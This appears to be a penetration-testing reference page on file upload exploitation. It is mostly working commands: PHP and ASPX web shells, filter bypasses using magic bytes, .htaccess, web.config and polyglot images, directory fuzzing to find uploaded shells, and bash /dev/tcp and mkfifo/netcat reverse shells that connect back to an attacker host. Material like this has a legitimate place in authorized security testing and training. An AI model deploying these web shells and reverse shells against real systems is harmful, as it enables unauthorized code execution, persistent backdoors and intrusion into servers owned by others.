# File Upload Exploitation

> Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validation, and content checks to deploy web shells.

- **URL:** https://hackindex.io/services/web/exploitation/file-inclusion/file-upload-exploitation
- **Path:** HTTP/HTTPS > Exploitation > File Inclusion Exploitation
- **Up:** [File Inclusion Exploitation](https://hackindex.io/services/web/exploitation/file-inclusion.md)
- **Published:** 2026-03-16
- **Updated:** 2026-07-14

File upload exploitation assumes you have already confirmed a bypass in the [file upload validation testing](https://hackindex.io/services/web/vulnerability-discovery/file-inclusion/file-upload-testing) page. The steps here cover delivering the web shell using that bypass, locating where it was stored, confirming execution, and getting a reverse shell.

The general file upload web shell workflow follows these steps:

- Upload a web shell payload using the confirmed bypass technique
- Locate the upload path through response headers or directory fuzzing
- Confirm code execution with a safe command like `id`
- Escalate to a reverse shell for interactive access

## Deliver the Web Shell

Use a minimal PHP web shell. Small payloads survive more upload filters than feature-heavy alternatives:

```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -sk -F 'file=@shell.php' http://$TARGET_IP:$PORT/upload.php -v 2>&1 | grep -i 'location\|path\|url\|upload'
# < Location: /uploads/shell.php
```

For a magic byte bypass when the server checks file signatures:

```bash
printf 'GIF89a' > shell.gif.php && echo '<?php system($_GET["cmd"]); ?>' >> shell.gif.php
curl -sk -F 'file=@shell.gif.php;type=image/gif' http://$TARGET_IP:$PORT/upload.php -v
```

## Locate the Upload Path

If the upload response doesn't return the path, fuzz common upload directories:

```bash
ffuf -u http://$TARGET_IP:$PORT/FUZZ/shell.php -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200
# uploads                 [Status: 200, Size: 0]
```

```bash
for path in uploads upload files images media tmp user_uploads content; do code=$(curl -skI http://$TARGET_IP:$PORT/$path/shell.php | grep HTTP | awk '{print $2}'); echo "$code $path"; done
# 200 uploads
# 404 upload
# 404 files
```

## Confirm Execution

Request the uploaded file with a safe command. A 200 with command output means the server is executing PHP in the upload directory:

```bash
curl -sk "http://$TARGET_IP:$PORT/uploads/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

If the response returns raw PHP source instead of executing, the upload directory is not configured to execute PHP. Try a different path or check if a `.htaccess` upload would enable execution in that directory.

## Get a Reverse Shell

Set up the listener and send the reverse shell payload through the web shell:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP:$PORT/uploads/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

If bash is blocked or the redirect operator is filtered, use mkfifo:

```bash
curl -sk "http://$TARGET_IP:$PORT/uploads/shell.php" --get --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f"
```

## ASPX Web Shell for IIS Targets

When the target runs IIS and .aspx execution was confirmed during upload testing:

```xml
<%@ Page Language="C#" %>
<% var p = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]) { UseShellExecute = false, RedirectStandardOutput = true });
Response.Write(p.StandardOutput.ReadToEnd()); %>
```

```bash
curl -sk -F 'file=@shell.aspx' http://$TARGET_IP:$PORT/upload.aspx
curl -sk "http://$TARGET_IP:$PORT/uploads/shell.aspx?cmd=whoami"
# iis apppool\defaultapppool
```

## .htaccess Upload

When the upload directory does not execute PHP, uploading a `.htaccess` file can change that. Apache reads `.htaccess` per-directory if `AllowOverride` is enabled. A crafted `.htaccess` that maps a harmless extension to the PHP handler lets you execute code from a file that passed extension-based filters.

```apache
AddType application/x-httpd-php .jpg
```

This directive tells Apache to process `.jpg` files as PHP in this directory. Upload the `.htaccess` first, then upload a PHP web shell renamed to `.jpg`. The server executes the PHP code despite the image extension.

```bash
echo 'AddType application/x-httpd-php .jpg' > .htaccess
curl -sk -F 'file=@.htaccess' http://$TARGET_IP:$PORT/upload.php
echo '<?php system($_GET["cmd"]); ?>' > shell.jpg
curl -sk -F 'file=@shell.jpg' http://$TARGET_IP:$PORT/upload.php
curl -sk "http://$TARGET_IP:$PORT/uploads/shell.jpg?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

If the server blocks `.htaccess` upload by filename, try content type manipulation or a different mapped extension that the filter does not check:

```apache
AddType application/x-httpd-php .hack
```

This only works on Apache with `AllowOverride All` or `AllowOverride FileInfo`. Nginx and IIS ignore `.htaccess` entirely.

## web.config Upload

On IIS, `web.config` is the per-directory configuration file, equivalent to `.htaccess` on Apache. Uploading a crafted `web.config` can map arbitrary file extensions to the ASP.NET handler, enabling code execution from files with harmless extensions.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="aspx_jpg" path="*.jpg" verb="*"
           type="System.Web.UI.PageHandlerFactory"
           resourceType="Unspecified" />
    </handlers>
  </system.webServer>
</configuration>
```

This maps `.jpg` files to the ASP.NET page handler. Upload this `web.config` to the upload directory, then upload an ASPX web shell with a `.jpg` extension. IIS processes it as an ASP.NET page.

Create the ASPX web shell with a `.jpg` extension. The `web.config` handler mapping makes IIS execute it as an ASP.NET page:

```bash
cat <<'EOF' > shell.jpg
<%@ Page Language="C#" %>
<% var p = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]) { UseShellExecute = false, RedirectStandardOutput = true });
Response.Write(p.StandardOutput.ReadToEnd()); %>
EOF
```

```bash
curl -sk -F 'file=@web.config' http://$TARGET_IP:$PORT/upload.aspx
curl -sk -F 'file=@shell.jpg' http://$TARGET_IP:$PORT/upload.aspx
curl -sk "http://$TARGET_IP:$PORT/uploads/shell.jpg?cmd=whoami"
# iis apppool\defaultapppool
```

The `web.config` approach works when the application pool runs in managed pipeline mode. Classic mode requires a different handler mapping. If the server returns a configuration error, the application pool may not have permission to override handler mappings at the directory level.

## Polyglot Files

A polyglot file is valid in two formats simultaneously. For upload exploitation, this means creating a file that passes image validation (correct headers, parseable by image libraries) while also containing executable code. This bypasses validation that checks file signatures, dimensions, or re-renders the image.

### GIF + PHP Polyglot

The GIF89a header is 6 bytes and PHP ignores everything before `<?php`. A file starting with the GIF header followed by PHP code passes magic byte checks while remaining executable.

```bash
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > polyglot.gif
file polyglot.gif
curl -sk -F 'file=@polyglot.gif;type=image/gif' http://$TARGET_IP:$PORT/upload.php
# polyglot.gif: GIF image data
```

### JPEG Comment + PHP

Use exiftool to inject PHP code into the JPEG comment field. The image remains valid and opens in image viewers, but if the server processes the file as PHP, the code in the comment executes.

```bash
convert -size 100x100 xc:white placeholder.jpg
exiftool -Comment='<?php system($_GET["cmd"]); ?>' placeholder.jpg
curl -sk -F 'file=@placeholder.jpg;type=image/jpeg' http://$TARGET_IP:$PORT/upload.php
```

Exiftool writes the PHP payload into the EXIF comment field without breaking the JPEG structure. If the server uses `getimagesize()` or similar functions for validation, the file still passes because it is a valid JPEG. Combine this with a `.htaccess` upload or double extension bypass to get the server to execute the PHP code.

> [!WARNING]
> Some servers re-render uploaded images using GD or ImageMagick, which strips embedded code. If the polyglot payload disappears after upload, the server is reprocessing the image. Try uploading a polyglot in a format the server does not re-render, or look for a different upload vector.

## References

- [PortSwigger: File Upload Vulnerabilities](https://portswigger.net/web-security/file-upload) - Exploitation scenarios including path disclosure and server-side execution bypass
- [PayloadsAllTheThings: Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files) - Web shell payloads and bypass techniques for multiple server types
